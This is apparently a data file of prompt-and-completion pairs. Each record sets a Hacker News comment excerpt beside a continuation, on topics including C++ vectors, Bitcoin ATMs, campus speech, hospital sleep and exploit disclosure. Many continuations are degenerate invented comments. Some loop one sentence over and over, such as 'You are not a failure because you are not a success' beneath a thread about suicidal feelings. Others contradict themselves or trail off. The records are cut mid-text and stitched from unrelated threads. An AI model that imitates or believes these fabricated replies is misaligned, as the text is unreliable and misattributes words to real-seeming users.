understand\nwhat you mean by \"good reputation\".\n\n~~~\nDonPellegrino\nI mean that Facebook has a good reputation for C++.\n\n------\njheriko\ni'm not sure i understand the point of this article.\n\nthe author is saying that the standard library is not good enough, and", "input_text": " much more comprehensive:\n[http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n227...](http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html)\n\n------\njohnwbyrd\nIf you're spending a lot of time changing the size of a std::vector array,\nthen maybe std::vector isn't the right type of structure to begin with...\n\n------\njudk\nHow is it reasonable to expect that previously freed memory would be available\nlater for the vector to move to?\n\n------\nchickenandrice\nGreetings Facebook, several decades ago welcomes you. Game programmers figured\nout the same and arguably better ways of doing this since each version of\nstd::vector has been released. This is but a small reason most of us had in-\nhouse stl libraries for decades now.\n\nMost of the time if performance and allocation is so critical, you're better\noff not using a vector anyway. A fixed sized array is much more cache\nfriendly, makes pooling quite easy, and eliminates other performance costs\nthat suffer from std::vector's implementation.\n\nMore to the point, who would use a c++ library from Facebook? Hopefully don't\nneed to explain the reasons here.\n\n~~~\ndbaupp\n_> More to the point, who would use a c++ library from Facebook? Hopefully\ndon't need to explain the reasons here._\n\nCould you explain them for those of us not in the loop? Does Facebook have a\nbad reputation for C++?\n\n~~~\nDonPellegrino\nI would also like expanations, because Facebook actually has a good reputation\nwhen it comes"} +{"output_text": "ut's \"Harrison Bergeron\"\n[1].\n\n[1]\n[https://en.wikipedia.org/wiki/Harrison_Bergeron](https://en.wikipedia.org/wiki/Harrison_Bergeron)\n\n~~~\nlamename\nI did enjoy it, but I think I'll read it again.\n\n------\njlebrech\nI wonder if there's a way to make ice out of water.\n\n~~~", "input_text": " payload separation. SpaceX chose to\nstack the satellites on top of each other to save mass and volume that a\nlarger payload adapter would have required. The stacked satellites are held\ntogether by 'tension rods' which are released to let them separate. In today's\nlaunch, you can actually see a rod being released [0]. Normally they lose the\nvideo feed around that time. They separate relatively easily because the\nsecond stage spins up to 'throw' them out. It didn't look worse than during\nother launches.\n\n[https://www.starlink.com/](https://www.starlink.com/) has an image carousel\nwith renders of the satellites and the stack if someone wants to have a closer\nlook.\n\n[0] [https://youtu.be/_j4xR7LMCGY?t=1780](https://youtu.be/_j4xR7LMCGY?t=1780)\n\n------\nmanuelabeledo\nSo, what about upload speeds?\n\n \nFound trapped in a diamond: a type of ice not known on Earth - pulisse\nhttp://www.latimes.com/science/sciencenow/la-sci-sn-water-in-diamonds-20180308-story.html\n======\nlamename\nThis is fascinating. I had no idea ice could take on so many crystalline forms\ndepending on the variety of conditions. Apparently there are other shapes even\nbeyond those mentioned in the article:\n[http://www1.lsbu.ac.uk/water/ice_phases.html](http://www1.lsbu.ac.uk/water/ice_phases.html)\n\n~~~\nfastball\nIf you find this interesting, you might enjoy Kurt Vonneg"} +{"output_text": "I'm curious - what's your last name?\n\n~~~\njasonjei\nI'm not sure if it's a Scunthorpe word, but it's a word that is commonly\nfound in Scunthorpe dialect.\n\n~~~\npavel_lishin\nI'm not familiar with Scunthorpe dialect, but I'm pretty sure it's not a\nScunthorpe word.\n\n~~~\njasonjei\nI'm not sure", "input_text": "I'm trying really hard to figure out what's bad about 'Lightwater Country\nPark'\n\n~~~\ndavid-given\nI figured that one out, but --- evaluate? mocha? expression?\n\n~~~\ncscheid\nmocha has a naughty german word in its middle, I'm fairly sure.\n\n~~~\nguitarbill\nNo it doesn't. I believe it can be used for Javascript injections like 'eval'\nas'mocha' is/was common a test framework. At least that's the ostensible\nreason Yahoo replaced 'eval' with'review','mocha' with 'expresso', and\n'expression' to'statement' way back in 2002 [0].\n\n[0] [https://www.newscientist.com//article/dn2546-email-\nsecurity-...](https://www.newscientist.com//article/dn2546-email-security-\nfilter-spawns-new-words)\n\n~~~\njwilk\n\"espresso\", not \"expresso\".\n\n------\naroman\nWhy is the string \"Linda Callahan\" a naughty/Scunthorpe word?\n\n~~~\nue_\nAfter re-reading it I can see it contains \"allah\", but I can't see why that\nwould be filtered.\n\n~~~\njasonjei\nInteresting my last name was blocked from making Genius Bar appointments [0].\nMy name is Jason Hung.\n\n[0]\n[https://discussions.apple.com/thread/1491462?start=10&tstart...](https://discussions.apple.com/thread/1491462?start=10&tstart=0)\n\n~~~\npavel_lishin\n"} +{"output_text": " time than a round\ntrip to a Robocoin.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I can't imagine a scenario where\nI would want to use a Robocoin to buy something. I can't imagine a scenario\nwhere I would want to use a Robocoin to pay for something. I can't imagine a\nscenario where I would want to use a Robocoin to get cash. I can't", "input_text": " but rather is a money\ntransmitter, and thus subject to much stricter regulation (such as\nidentification required starting at $0 instead of $1000).\n\n2\\. When was the last time you exchanged foreign money in the U.S.? When I\nlast exchanged foreign currency in the U.S. (in the past few years), I needed\nto provide a photo ID and my social security no. I believe this is strictly\nrequired only when you exchange over $1000, but many exchanges require them\nfor all transactions.\n\n3\\. Note that when you provide a photo ID, the end result is the same as if\nthey had taken a photograph on the spot (your photo is copied and filed).\n\n~~~\nbduerst\nThat makes more sense. Thanks.\n\nIt has been two years since I was last at a foreign currency exchange here,\nand things could have changed since then as well.\n\n------\nasciimo\nThe conventional ATM experience only works because we have already gone\nthrough the pain of identifying ourselves to a bank, usually by sitting across\nthe desk from another human being and filling out forms, during business\nhours. We often have to wait for an ATM card to arrive in the mail afterward.\nI think it's incredible that I can now go to a bar at 1AM for the same\nservice. Plus beer and pool.\n\n~~~\nGoldenMonkey\nReally? I can go to walmart and buy a pre-paid atm card with cash. And then\nuse that card at an atm. No Id process required.\n\n~~~\nSippinLean\nIt's still harder to drive to Walmart during business hours than use a\nRobocoin.\n\n~~~\nceejayoz\nIn many areas a round trip to Walmart will take a lot less"} +{"output_text": "-ed by a\nconservative student who disagreed with the prevailing liberal orthodoxy.\n\n------\njimmywanger\n> The problem is that the campus is now a place where people are afraid to\n> express their opinions, even if they are right.\n\nI don't think this is true. I think the problem is that people are afraid to\nexpress their opinions, even if they are right.\n\nI think the problem is that people are afraid to express", "input_text": ".com/watch?v=wXF8MIG_HQI](https://www.youtube.com/watch?v=wXF8MIG_HQI)\n\n------\nbwanab\nProf. Haidt was also the co-author of this piece in The Atlantic Monthly:\n[http://www.theatlantic.com/magazine/archive/2015/09/greg-\nluk...](http://www.theatlantic.com/magazine/archive/2015/09/greg-lukianoffs-\nstory/399359/)\n\n------\nAqueous\nas long the definition of the word'safety' has been expanded to include\nremoving any risk of emotional distress from day-to-day life, we might as well\ncall the current campus climate 'unsafe' for anyone who doesn't hold the\nprevailing views. i know i certainly didn't feel'safe' to express the\noccasional disagreement with the majority opinion while at wesleyan, even\nthough i was 99% in agreement with those prevailing views. i felt paranoid\nabout (either accidentally or deliberately) saying the wrong thing and\ntherefore provoking mob justice. 'walking on eggshells' was an understatement.\nthat paranoia felt more than justified when people who had expressed contrary\nopinions were the subject of campus-wide mockery, derision, and ostracism.\n\nbeing reflexively deferential to every conceivable sensitivity causes us to\ndisproportionately look out for the safety of some at the expense of the\noverall atmosphere of civility, dignity, respect, and yes,'safety,' of the\ncampus. it really hit home when recently Wesleyan's campus newspaper lost a\ngood portion of its funding because it dared to publish an op"} +{"output_text": "\nwant to know the answer.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don't understand.\n\n\\- Asking you to sign a contract that you don", "input_text": "presented in the review. The slides, after all, are the only thing written\ndown. Insist that the engineers never conveyed any challenges to you. Blame\nthem for delays, overruns, and missing features.\n\nMy lesson learned: never, ever sign your name to a fictional budget, schedule,\nor risk summary.\n\n------\ntempguy9999\nI've rarely had any of that. Mainly I get pervasive bad management from poor\nbut well-meaning managers.\n\nOnly thing I can think of is a long time ago being told if you hit this\ndeadline here's \u00a3X thousand pound bonus for the team. We hit the deadline,\nthey made me redundant next day and told me I wouldn't be getting my share\nbecause \"you should have got it in writing\"[0]\n\nI took them to court and won eventually. Good fun.\n\n[0] Which was a) true but b) plain nasty. Worth repeating at this point, the 3\nlaws of contracting:\n\n1\\. Get it in writing\n\n2\\. Get it in writing\n\n3\\. Get it in writing\n\n~~~\ncrimsonalucard\nWow what was the asshole company that did this?\n\n~~~\ntempguy9999\nLong dead, don't worry you're safe!\n\nEdit: useful lesson though.\n\n------\nnailer\nGeneral employment tricks:\n\n\\- Asking you your current pay. Not answering when you ask them their budget.\nA good answer is to discuss the other offers you have on the table.\n\n\\- Getting private info by asking you to correct something false. \"So you made\n80,000\" will get an answer better than \"How much were you paid?\"\n\n\\- Repeatedly asking you the same question because they don't trust you and"} +{"output_text": " They said they didn't support my card.\n\nI then walked back to the ATM and tried again. Same thing.\n\nI then walked back to the bank and asked them about it. They said they didn't\nsupport my card.\n\nI then walked back to the ATM and tried again. Same thing.\n\nI then walked back to the bank and asked them about it. They said they didn't\nsupport my card.\n\nI then walked back to the ATM", "input_text": ".\n\n------\nwoah\nThe \"rawness\" he describes has nothing to do with Bitcoin, and everything to\ndo with the laws surrounding fiat money.\n\n~~~\nbillyhoffman\nIt seems to me the \"rawness\" has everything to do with bitcoin and its\ndecentralized design.\n\n1- Needed to create an account for \"their\" exchange. 2- Needed to transfer\nbitcoin into their exchange. 3- Needed to wait for transaction to get\nvalidated in the blockchain 4- Get money.\n\nYou could reach and say that all the PII and initial setup was to comply with\nlaws about banking/money laundering. But that took 7 mins of a 45 min process.\n\n~~~\njes5199\n> 3- Needed to wait for transaction to get validated in the blockchain\n\nThis process is _slow_ and I don't see how it can possibly get faster.\n\nThe best I've come up with is you have a second money-apparatus that moves\nmore quickly. It probably wouldn't have a lot of the currency-like properties\nof bitcoin. I guess the analogy is that sending bitcoin is like writing a\ncheque, and this faster thing would be like using a credit card.\n\n------\nschmichael\nThe long wait times and multiple trips may explain why there are such long\nlines in so many pictures of Bitcoin ATMs.\n\n------\nmcherm\nI had a terrible experience last weekend.\n\nI went down to the corner to get some money out of the ATM. I walked up and\nstuck in my card and the ATM wouldn't give me any money: said something about\nmy card not being supported. So I walked into the bank building adjacent to\nthe ATM and asked them about it."} +{"output_text": " a job offer as a \"promotion\".\n\nYou are not a failure. You are a human being. You are not a failure because\nyou are not a success.\n\nYou are not a failure because you are not a success.\n\nYou are not a failure because you are not a success.\n\nYou are not a failure because you are not a success.\n\nYou are not a failure because you are not a success.\n\nYou are not a failure because", "input_text": " to the company.\nThat's good for your taxes.\n\nDo _not_ hire an accountant for anything right now. You'll lose money.\n\nI've lived here for 22 years, had my company for 12, I'm not doing anything\nmagic with it but it pays the bills.\n\nSend me a mail if you want.\n\n------\nmgbelisle\nI lived in Japan and understand what you're talking about. Never started a\ncompany like you or brandelune but I have done endless piles of bank paperwork\nand software tech support in Japanese. Message me directly if you want to talk\nmore, but I would apply for a software job in your home country and if you\nland it then move out of Japan. If the software applications don't land you\nanything then I would stay in Japan as an English teacher and use your\nsoftware knowledge to connect you with higher paying clients like traveling\nsoftware engineers or software company managers.\n\n> I have honestly thought about suicide, or just fleeing the country.\n\nMake sure to tell your closest friend about this. There's no shame at all in\nanything that you've tried so far. And your life is worth _way_ more than\ncorporate success in a country that drowns itself in bureaucratic paperwork.\n\n~~~\nf_allwein\nAlso, please seek some emotional support, e.g. from\n[https://www.samaritans.org](https://www.samaritans.org) (free, confidential,\nnon judgemental).\n\n------\nnoonespecial\nJust so that you see it again: Suicide as a fix for this situation is\nridiculous. (Please note, I'm not saying that _you_ are ridiculous for feeling\nthis way)\n\nIts a perception error like considering"} +{"output_text": ">)\n\n25) AdMob ()\n\n26) AdMob Mobile Ads ()\n\n27) AdMob Mobile Ads for iOS ()\n\n28) AdMob Mobile Ads for Android ()\n\n9) MobYD ()\n\n10) Trademob ()\n\n11) Madvertise ()\n\n12) BuzzCity ()\n\n13) AdModa ()\n\n14) Mojiva ([http://www.mojiva.com/mobile-advertising/monetize-your-\nmobil...](http://www.mojiva.com/mobile-advertising/monetize-your-mobile-app))\n\n15) Hunt Mobile Ads ()\n\n16) Greystripe ()\n\n17) Madhouse ()\n\n18) Jumptap ()\n\n19) Mobile Theory ()\n\n20) Microsoft Mobile Advertising ()\n\n21) xAd ()\n\n22) YP (AT&T) ()\n\n23) Tapgage ()\n\n24) Aditic ( Apple makes and builds high-end products and has the fat margins that goes\n> along with it - instead of outsourcing all manufacturing to China, it could\n> choose to build everything in the US, employ the locals and use that as a\n> selling point.\n\nWhy do you assume Americans are more deserving of Apple's"} +{"output_text": "\u2014but\nI'm not sure I can fault them for trying to make my life easier.\n\n~~~\ndiminoten\nI'm not saying you should, I'm saying you can.\n\n------\njoshstrange\nI've been using the DSC for a few months now and I love it. I've been using\nthe same razor for years and years and I've never been able to get a close\nshave. I've tried everything from different blades", "input_text": "41LS/ref=pd_sbs_bt_23)\n\n$13 dollars you have at least a years worth of blades for even the thickest\nbeards. Also you will get a shave that is worlds better then the one from DSC.\n\n~~~\ndiminoten\nBecause it's not about the blades, it's about the stream of blades.\n\nConsider the same question for basically every nonperishable you purchase -\nwhy are you not buying in large bulk and saving? I can think of a dozen items\nI could buy in bulk and save money on that I currently don't.\n\nActually, now that I think about it, why _don 't_ I buy in bulk? I totally\ncould. Why don't people in general buy in bulk?\n\nAnyway, it's the same answer for your toilet paper as it is for your razors,\nor your shampoo, or your paper towels. I don't apparently know that answer,\nbut I assume that's why people don't do what you're saying.\n\n~~~\nbhauer\nAmazon offers their \"Subscribe and Save\" service on many products (not the one\nlinked above, however). Amazon's subscription service provides a continuous\nstream of many staples such as paper products, toothpaste, tooth brushes, cat\nfood, etc. to my household. It works great.\n\nAside: I live in Los Angeles and am trying out Amazon Fresh. If anything,\nAmazon now offers me an almost-confusing multitude of ways to have products\ndelivered to my house. I can Prime things for receipt in two days. I can\nsubscribe and forget. I can Fresh things for next-day delivery. I'm not an\nAmazon fan boy\u2014many of their services frustrate me in a variety of ways"} +{"output_text": "which is admittedly\nlimited), I have seen people who are very conservative in their politics\n(including myself) who are also very liberal in their personal lives.\n\nI think the problem is that we have a lot of people who are very conservative\nin their politics, but who are also very conservative in their personal lives.\nI think that this is a problem because it leads to a lot of people who are\nvery conservative in their politics, but who are also very conservative in\ntheir", "input_text": " How many of you would say you are on the\n> right politically, or that you are conservative or Republican?\n\nThis is a fundamental misunderstanding of how discourse is conducted and\nshould be conducted. _People_ are not on the right politically, conservative,\nor Republican. People are people, and each might hold or articulate viewpoints\nor opinions that are on the right politically or conservative. They might be a\nmember of the Republican Party. All of these are elective and potentially\ntemporary.\n\nThe whole point of discourse is that viewpoints, opinions, and memberships can\nchange. So to start by framing those as elements of identity needing\nprotection, feeds directly into a framework for discussion that is conflicted.\nIf a discussion must validate and protect all viewpoints (conservative or\nliberal), then what is going to be discussed?\n\nIMO the right way to approach this situation is to explore the potential\nconsequences of voicing an unpopular opinion. Often, they are far less scary\nthan teenagers might suppose. We should focus on how to give each individual\nstudent the mental tools to effectively evaluate arguments, and to manage\ntheir anxiety about going against perceived social norms.\n\nTeaching kids to be brave in speaking up against prevailing opinion can help\ncreate positive outcomes throughout their lives. We _want_ citizens who will\nspeak up for what they know is right, even if they know they will face\ntrouble.\n\n~~~\nsanderjd\n> We want citizens who will speak up for what they know is right, even if they\n> know they will face trouble.\n\nI thought your comment was really good, but I don't think this conclusion is\n_quite_ right. The problem is that lots of different people \"know\" that lots\nof different things are \"right\". In my life experience ("} +{"output_text": "had to tell them to leave her alone.\n\nI'm not sure if this is a cultural thing or if it's just the way things are\ndone in the ICU, but I'm glad I'm not the only one who has had to deal with\nthis.\n\n~~~\nmatt_s\nI've had a similar experience with my wife. She's a nurse and has been in the\nICU for a few years.\n\nShe's been in the ICU for a", "input_text": " were Nicolas Sarkozy (12 millions viewers), Arnaud Montebourg (9\nmillions) and lately Alain Jupp\u00e9 (13 millions)._\n\nI would like to see the results of the two other guests.\n\n~~~\nconradfr\nThere has only been three shows so far IIRC.\n\n------\nconradfr\nAs a French trying Elixir these last few months (don't have much time for Elm)\nit's great seeing the language picking up some hype.\n\nAt work I don't see it happening though, we're a PHP shop now addind nodejs\n(to my despair) and maybe some Go. I think there is a Haskell fan and that's\nit.\n\n \nWhy Do Hospitals Hate Sleep So Much? - curtis\nhttps://www.motherjones.com/kevin-drum/2018/12/why-do-hospitals-hate-sleep-so-much/\n======\nmattjaynes\nI recently had a family member in the intensive care unit (ICU) for over a\nmonth in Austin, Texas. I quickly learned my main contribution would be\nprotecting her sleep when I saw she hadn't slept in days because of the\nconstant interruptions. She went from reasonable and compliant in taking her\nmedication, to extremely irritated and noncompliant with the doctors. Of\ncourse I could see this was due to sleep deprivation, but when I kept bringing\nthis up to the doctors and nurses, they gave me blank stares and didn't seem\nto believe or care. When they started suggesting another surgery due to her\nnot improving, I nearly lost my sanity. Ultimately, I had to become a very\nvocal and unpleasant protector of her sleep - if a nurse came in, I quickly\n"} +{"output_text": "in Chinese).\n\n------\njoezydeco\nI'm not sure if this is a good idea.\n\nI'm not a hardware guy, but I'm not sure if the Arduino is a good fit for\nthis.\n\nThe Arduino is a microcontroller, not a general purpose computer. It's\nprimarily a prototyping platform.\n\nThe Y\u00fan is a general purpose computer. It's a Linux computer.\n\nI'm not sure if", "input_text": " I/O, that would be cool.\n\n~~~\nDHowett\nThey more likely meant the Arduino-specific term \"sketch\", which has been co-\nopted to mean things unrelated to both the language and the art form.\n\n~~~\nVLM\nEven more embarrassingly I was thinking of the \"scratch\" programming language.\nSorry. Being able to upload scratch as a sketch to your yun to animate a\nsketch would be cool.\n\nThe desire for a rasp-pi with the shape and form and I/O plug compatible with\nthe arduino shield ecosystem is probably a common desire and I hope it arrives\nsoon. Someday there will be an arduino running sketch with a COTS arduino\nmotor shield (or whatever) plugged into it.\n\n------\n31reasons\nI am not a hardware guy so pardon my ignorance, but my question is, if you\nalready have a full general purpose computer running linux on a board, why do\nyou need Arduino on that board also? can't you just connect sensors directly\nto the linux box?\n\n~~~\nwiredfool\nThe arduino has a nice set of shields for interfacing with sensors and other\nhardware. Its gpio outputs also tend to be more convenient than the GPIO from\nthe PI.\n\n------\nbrohoolio\nI contributed to a project which is doing something similar. It's a bit better\nbecause it has a low power transmitter for communication between units.\n\n\n\n------\ngbog\nI wonder if some day we will see cool things with real Chinese names, I mean\nChinese characters. Here it would be Arduino\u4e91\n\n------\nstupandaus\nFor those curious, Y\u00fan means cloud ("} +{"output_text": "ly, you're going to have to print more money.\n\nThe problem with inflation is that, if you're trying to control the money\nsupply, you're going to have to print less money.\n\nThe problem with both is that you're going to have to print more money.\n\n~~~\njazzyk\nThe problem with both is that you're going to have to print less money.\n\n~~~\nCacti\nI'm not sure I follow.", "input_text": "\n\n~~~\nNursie\nYup. Total disasters. Higher standard of living than any humans in history,\nbut Japan, Europe and the USA are somehow failed economies and total disaster\nzones.\n\nWhat colour is the sky on your planet?\n\n~~~\njazzyk\nI think the poster above is talking about the trends, not the absolute level\nof wealth. The standard of living in the US has been stagnant (even declining,\nfor the lower-middle class) since 2000. Japan has been stagnant since the\nreal-estate bubble burst in the 80s.\n\n------\nap22213\nAll this pro-deflation talk makes me feel like I've walked into a Christian\nScience convention.\n\n~~~\n001sky\nAre you really that proud of the status quo? lets see, we'll take a bunch of\nbank acounts, pay zero interest, and only let rich people & corporations\nborrow without abandon to finance their acquisition (er, corner) the market in\nall real-assets? Sounds like a great plan if your biz modle if f(n)% of asset\ninflation.\n\n~~~\npdkl95\nPointing out that deflation is a bad is not necessarily a statement of support\nfor any aspect of the current system. Staying away from deflation is good; the\nother parts are another matter and need fixing in several ways.\n\n~~~\n001sky\ndeflation is a bad is a hypothetical, and the arguments for and against are\nnot trivially dismissed. your trading book matters more than any theory. since\nthe analysis is so fact depenedent, there is no simple right answer.\n\n------\nCacti\nThe problem with deflation is that, if you're trying to control the money\nsupp"} +{"output_text": " night meetings are\ncommon.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that they're doing this, but I'm not sure if it's a good\nthing for the environment.\n\nI think it's great that they're doing this, but I'm not sure if it's a good\nthing for the employees.\n\nI think it's great that they're doing this, but I", "input_text": " from the environment all the carbon the company has\nemitted either directly or by electrical consumption since it was founded in\n1975.\"\n\n~~~\nzantana\nBegs the question does this include the inefficiencies in its products over\nthe years, which due to their breadth of their adoption, effected hundreds of\nmillions of computers?\n\nI'm thinking the carbon footprint of Windows update's endless (seemingly\nneedless?) grinding and rebooting alone ends up being more than they ever\nemitted manufacturing and building software.\n\n~~~\nseveneightn9ne\nHow would they decide that some computation was \"needless\"? If it was the best\nthey could do at the time I'd argue it wasn't needless. If they were\nintentionally wasting CPU/energy for no reason it would be a different story.\n\n------\nktpsns\nSomething I notice regularly on large companies and universities, literally\nany organization which is bigger then a single building: The vast amount of\nenergy waste.\n\nThis starts at heating rooms like crazy (because it is unmanaged), having\nunneccessary equipment, computers and lights running all night (because they\nare unmanaged) and goes up to transportation. It's so simple things like truck\ndrivers who prefer to keep their diesel running during loading/unloading. I\nguess they do so because either they were told by incompetent managament, have\nthe wrong belief that their batteries could not power the lights, or some\nother disbelief.\n\nSaving energy starts in the small, also if started by something big. Having\nsaid that, I guess a company of the size of Microsoft will have a huge\npotential to save energy.\n\n~~~\nmixmastamyk\nIndeed, also at every tech office I've worked at, late"} +{"output_text": "Western countries, it's not uncommon to see people with a BMI of 40 or\ngreater.\n\n~~~\nAznHisoka\nI'm not sure if it's a new thing. I've been in China for a month and I've\nnoticed it.\n\nI'm not sure if it's a new thing. I've been in China for a month and I've\nnoticed it.\n\n------\njoshu\nI'm not sure if it's a new thing", "input_text": "\"\n\nMy first thought was they are exerting too much pressure on the surface of the\nworld and endangering the integrity of the crust... need to get out more...\n\n------\nNursie\nI also enjoy cycling and used to cycle-commute. Unfortunately I have now moved\nto a cold, wet country and work too far from home for it to be practical, and\nam getting fatter...\n\n~~~\ns_henry_paulson\nA great substitute is to find a gym with spinning classes in the morning\nbefore work.\n\n~~~\nstephengillie\nIt's not a great substitute - it costs ~$50-100 per month and an extra 45-90\nminutes per day... _instead_ of saving gas money. I too live in a cold wet\nland, but can't afford the cost in time _or_ money.\n\n------\natomical\nI've been a runner for a long time but occasionally I try new forms of\nexercise / fun. In the not too recent past I joined a rowing club. The dues\nwere cheap and it's a great workout. And I take advantage of hiking if I'm in\nan area that has mountains.\n\n------\nAznHisoka\nI was in China for a month. And I had to look extremely hard to find 1 obese\nperson everyday.\n\n~~~\nwill_work4tears\n1\\. How long ago was this? 'Becoming a problem' implies that it is a new-ish\nthing, and an observation from 5 years ago isn't really current.\n\n2\\. Are you sure you don't mean \"hard to find 1 _morbidly_ obese person\neveryday? You do realize that a BMI of 30 or greater is obese, right? And In\nnon-"} +{"output_text": " cares.\n\n~~~\ncheald\nI'm not sure what you're trying to say here. I'm not saying that there's no\nliability in computing, I'm saying that the liability is not the same as the\nliability in other industries.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\n\"disclosure\".\n\nThe vulnerability was already known to the public, and the vulnerability", "input_text": " disheartening, to say the least. I\nwonder how much of that is a result of the story's tone.\n\n~~~\ngiovannibajo1\nOn the other hand, project zero publishes kiddies-ready exploits for their\nvulnerabilities, which is a very questionable practice for vulnerabilities\nwhich are still in the wild. Even if patches were available, it would be far\nbetter to wait for most devices to be patched before releasing a full exploit.\nThey did this with iOS and now with Windows. We are now waiting for such\nuseful ready-to-use exploits for major Android versions as well.\n\n~~~\ncheald\nMetasploit does the same thing, and we've managed to not have the internet\nimplode yet.\n\nYours is the standard argument against _any_ form of disclosure. I'm not\ndiscounting it, because no disclosure has its merits, but responsible\ndisclosure satisfies both an ethical imperative (you can't let people believe\nthey're secure if you know otherwise) and provides pressure on vendors to fix\ntheir software, when the vendor might otherwise deem it not worth the time or\nmoney to fix the issue, which leaves their customers vulnerable.\n\nThe basic idea behind disclosure is \"we might not be the first people to find\nthis, and we definitely won't be the last, so let's remove all doubt and rob\nthe bad guys of the element of surprise\". Responsible disclosure is intended\nto permit responsible vendors to fix the issue before wide publication, but an\nuncooperative vendor doesn't mitigate the reality that the bug exists and will\neventually be found by someone less benevolent.\n\n~~~\nboracay\nIt's still just an excuse. Of course there's no liability in computing so no\none actually"} +{"output_text": "\n\nI don't know if it's the same for everyone, but I think the taste is the\nbiggest reason for me to stop drinking.\n\n~~~\njedberg\nI've been drinking beer for over 20 years and I still don't like the taste.\n\nI think it's because I've been drinking the same beer for so long that I've\njust gotten used to it.\n\n~~~\nalt_f4\nI've been drinking the same beer", "input_text": "damage-and-mutations-and-its-metabolite-acetaldehyde-is-highly-\ncarcinogenic/)\n\n[https://www.sciencedaily.com/releases/2019/07/190708084334.h...](https://www.sciencedaily.com/releases/2019/07/190708084334.htm)\n\n[https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?...](https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+neuroscience-\nrss-feeds-neuroscience-news+\\(Neuroscience+News+Updates\\))\n\n~~~\nthrow51319\nThanks for the info! I think the 2nd link doesn't work.\n\n~~~\nken\nGoogle search suggests the title of that page began with \"Quitting alcohol may\nimprove mental well-being, health...\", which leads to pages like [1] with the\nsame title from around the same date.\n\n[1]: [https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319...](https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319.php)\n\n------\nalt_f4\nI don't drink at all anymore, but I also never liked the taste. I used to\ndrink socially (maybe a beer or two or three, once a week), but I found better\nfriends, so I don't need to do that anymore."} +{"output_text": ".\n\n~~~\nbaddox\nI'm not sure what you mean by \"renewable\" here.\n\n~~~\nanko\nI mean that they have been using 100% renewable energy for a while now.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that Microsoft is doing this, but I'm not sure if it's a\ngood thing for the company.\n\nI think", "input_text": " is an excellent strategic\ninvestment for Microsoft that also aligns with timely ethical priorities. I\ndidn't read the post and think \"this is corporate glossy bullshit,\" I read it\nand thought \"this is an actual strategic initiative that is driving broad\norganizational alignment, which has measurable success criteria, and which\nmakes sense.\"\n\nI am genuinely surprised by the sincerity, cogency, and aspirational nature of\nthis initiative and its associated PR glossies.\n\nI am measurably more likely to work at and invest in Microsoft after reading\nthis.\n\nI guess they've hacked my demographic?\n\n~~~\nnscalf\nShould I be satisfied if you're doing the right thing for the wrong reasons?\nI'm always unsure about this. If a politician is making all the right noises,\nbut clearly doesn't care about the topic, should I be satisfied? I really\ndon't know. That's how I feel about this, it's clearly a PR move, but I think\nI'm happy about that?\n\n~~~\nbaddox\n> Should I be satisfied if you're doing the right thing for the wrong reasons?\n\nI tend to think YES, assuming you're _actually_ doing the right thing instead\nof just _saying_ you're doing the right thing. For example, when good ideas\nhappen to coincide with profit motive, I think that's a wonderful thing, and\nreally the best-case scenario in a market economy. Apple's seemingly genuine\nfocus on privacy is a perfect example: many people criticize it as being\ndriven only by profit (perhaps as a way to compete with Google), while I say\nit's great if that's true!\n\n~~~\nanko\nI just want to mention that apple has been 100% renewable for a while now"} +{"output_text": "_and_politics/politics/2016/03/los_angeles_s_new_green_sustainability_plan_is_a_good_first_step_but_it_s_not_enough.html\n======\njseliger\nI'm not sure that the city can become a green, sustainable city. It's a\nfantastic idea, but it's not going to happen.\n\nThe city is a mess. It's a", "input_text": " say, Americans might be\nexpected to pay more for clothes in order to reduce the numbers of people\nburned to death in Bangladeshi textile factory fires?\n\n------\nbjourne\nWhy are almost all CEO:s and company leaders tall? Is it just a coincidence\nand when they selected the \"most qualified\" candidates almost all of them\nhappened to be tall? Is it because taller people just are that much smarter\nthan everyone else?\n\n~~~\nthaumasiotes\nWell, taller people are somewhat smarter than everyone else. If your model of\nCEOs is that they're selected top-down from the smartest members of the\npopulation, you'd probably expect them to be taller than average, because\nsomeone exceptionally smart probably had a lot of different things go right to\nachieve their high total, including the particular thing that's related to\ntallness.\n\nI tend to assume that most leaders are tall because tallness contributes\nheavily to charisma, rather than because it's somewhat related to\nintelligence.\n\n~~~\nbjourne\nI see. Silly me for suspecting it has something to do with discrimination.\nThat explains why there are so few women on leadership positions -- they are\non average 10-20 cm shorter than men so they are both much dumber and much\nless charismatic than guys. It doesn't explain why the tall and hyper-\ncharismatic smart Dutch men aren't dominating the world. But I guess it's only\na matter of time. Perhaps we should export some of our geniuses to the short\nand Asian countries, they obviously suffer from a severe lack of tallintellect\nthere.\n\n \nThe third Los Angeles: Can it truly become a green, sustainable city? - cryptoz\nhttp://www.slate.com/articles/news"} +{"output_text": "\n\n* How do you know what type of company to start and how much of your own money did you invest when bootstrapping a company.\n\n* How do you know what type of company to start and how much of your own money did you invest when bootstrapping a company.\n\n* How do you know what type of company to start and how much of your own money did you invest when bootstrapping a company.\n\n* How do you know what type of", "input_text": " and out, and poured years of your life\ninto - now you share control with someone who you've spent maybe 8 hours with.\nAnd you're going to have to do that again and again over the years.\n\nThe second reason is the disparity in the invested interest between the VCs\nand you. You have EVERYTHING riding on this startup. The VC has almost nothing\nriding on your company. It's not their money, they get a great salary either\nway, and they are expected to have most of their investments fail.\n\nThere seemed to be more worldly prestige running a VC backed company, but\nthat's probably because we bought press coverage. :-) In terms of my own\npersonal happiness, I've never been happier than when I was running my own\nbootstrapped company...and I also made a ton of money.\n\n~~~\nnobody271\nHow do you know what type of company to start and how much of your own money\ndid you invest when bootstrapping a company.\n\nI heard about startups that do something like make medical insurance billing\neasier. That raises a lot of questions, actually.\n\n* How does one even learn that is an issue?\n\n* It seems like something where getting started is driven entirely by having contacts in the industry.\n\n* There has to be a ton of prohibitively expensive red tape to cut through. Would you just pay a lawyer to figure all that out? Lawyers are expensive!\n\n* It doesn't seem like something that 